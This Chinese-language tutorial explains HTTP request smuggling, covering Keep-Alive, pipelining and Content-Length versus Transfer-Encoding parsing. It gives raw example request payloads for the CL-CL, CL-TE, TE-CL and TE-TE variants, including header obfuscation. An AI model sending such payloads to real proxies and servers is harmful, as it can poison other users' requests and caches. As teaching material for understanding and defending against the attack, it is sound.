基础知识
现在cdn/负载均衡/等具有缓存功能的反向代理服务器已经是很普遍的情况,如上图的结构。
http 1.1特性
Keep-Alive
pipeline
所谓Keep-Alive,就是在HTTP请求中增加一个特殊的请求头Connection: Keep-Alive,告诉服务器,接收完这次HTTP请求后,不要关闭TCP链接,后面对相同目标服务器的HTTP请求,重用这一个TCP链接,这样只需要进行一次TCP握手的过程,可以减少服务器的开销,节约资源,还能加快访问速度。当然,这个特性在HTTP1.1中是默认开启的。
有了Keep-Alive之后,后续就有了Pipeline,在这里呢,客户端可以像流水线一样发送自己的HTTP请求,而不需要等待服务器的响应,服务器那边接收到请求后,需要遵循先入先出机制,将请求和响应严格对应起来,再将响应发送给客户端。
现如今,浏览器默认是不启用Pipeline的,但是一般的服务器都提供了对Pipleline的支持。
Content-Length
(CL)Transfer-Encoding
(TE)
HTTP规范提供了两种不同方式来指定请求的结束位置,它们是Content-Length请求头和Transfer-Encoding请求头。
Content-Length: 100 (指定大小 如100 来标志结束位置)
Transfer-Encoding:chunked
用于指定消息体使用分块编码(Chunked Encode),也就是说消息报文由一个或多个数据块组成,每个数据块大小以字节为单位(十六进制表示) 衡量,后跟换行符,然后是块内容,最重要的是:整个消息体以大小为0的块结束,也就是说解析遇到0数据块就结束。
了解基础知识之后,看下正常的请求流程
Http Smuggling Attack
当前后端对http请求的处理标准不一致,这个流程就会造成http走私攻击。
攻击类型
从前面知识中我们了解到环境中的前,后端对请求处理的标准不一致可能会造成Http走私攻击。下面来了解下攻击过程中有那些攻击场景。
- CL - CL
当我们的请求头中有两个CL的时候,我们看下RFC7230标准中的规定
https://tools.ietf.org/html/r...
If a message is received without Transfer-Encoding and with either multiple Content-Length header fields having differing field-values or a single Content-Length header field having an invalid value, then the message framing is invalid and the recipient MUST treat it as an unrecoverable error. If this is a request message, the server MUST respond with a 400 (Bad Request) status code and then close the connection.
服务器应该返回400,当服务器没有执行这个标准的时候。就可能造成Http走私攻击
如请求包:
POST / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 8\r\n <- Frontend sees this
Content-Length: 7\r\n <- Backend sees this
\r\n
12345G
- 前端(代理)服务器获取到数据包长度为 8,将上述数据包完整转发给后端服务器
- 后端服务器获取数据包长度为 7,读取 7 个字符后将剩余内容放置在缓存区,认为G是下一个请求的部分内容
- 下一个包进入后端时,后端从缓存区读取内容,造成污染
再次发起请求
POST / HTTP/1.1\r\n
Host: example.com\r\n
Reponse:
Unknown method GPOST
- CL - TE
当请求头中包含CL和TE时候,看下RFC2616标准
https://tools.ietf.org/html/r...
If a message is received with both a Transfer-Encoding header field and a Content-Length header field,the latter MUST be ignored.
如请求包:
POST / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 6\r\n <- Frontend sees this
Transfer-Encoding: chunked\r\n <- Backend sees this
\r\n
0\r\n
G
- 前端解析CL把整个包传给后端
- 后端解析TE 到0结束 G缓存到下次请求中
再次发起请求:
POST / HTTP/1.1\r\n
Host: example.com\r\n
Reponse:
Unknown method GPOST
- TE - CL
请求包:
POST / HTTP/1.1\r\n
Host: example.com\r\n
Transfer-Encoding: chunked\r\n <- Frontend sees this
Content-Length: 4\r\n <- Backend sees this
\r\n
12\r\n
GPOST / HTTP/1.1\r\n
\r\n
0\r\n
Reponse:
Unknown method GPOST
- 前端解析TE 到0结束 传到后端
- 后端解析CL 到12结束 构造中的请求缓存到下次请求
- TE - TE
TE-TE,也很容易理解,当收到存在两个请求头的请求包时,前后端服务器都处理Transfer-Encoding请求头,这确实是实现了RFC的标准。不过前后端服务器毕竟不是同一种,这就有了一种方法,我们可以对发送的请求包中的Transfer-Encoding进行某种混淆操作,从而使其中一个服务器不处理Transfer-Encoding请求头。从某种意义上还是CL-TE或者TE-CL,所以TE-TE中其实是带着2TE和1CL的请求包。
请求包:
POST / HTTP/1.1\r\n
Host: example.com\r\n
Content-length: 4\r\n
Transfer-Encoding: chunked\r\n
Transfer-encoding: cow\r\n
\r\n
5c\r\n
GPOST / HTTP/1.1\r\n
Content-Length: 8\r\n
\r\n
x=1\r\n
0\r\n
Reponse:
Unknown method GPOST
TE-TE 一节,可以看到主要问题是如何构造让前后端两者中只有一个利用 TE 解析,而另一个认为是无效的,再利用 CL 解析。同时又要确保符合上面引用的规范
https://tools.ietf.org/html/r...
以下是经过测试的部分系统的绕过方式,更多内容可见regilero博客
参考连接:
协议层的攻击——HTTP请求走私
从一道题深入HTTP协议与HTTP请求走私
HTTP Smuggling Attack 随笔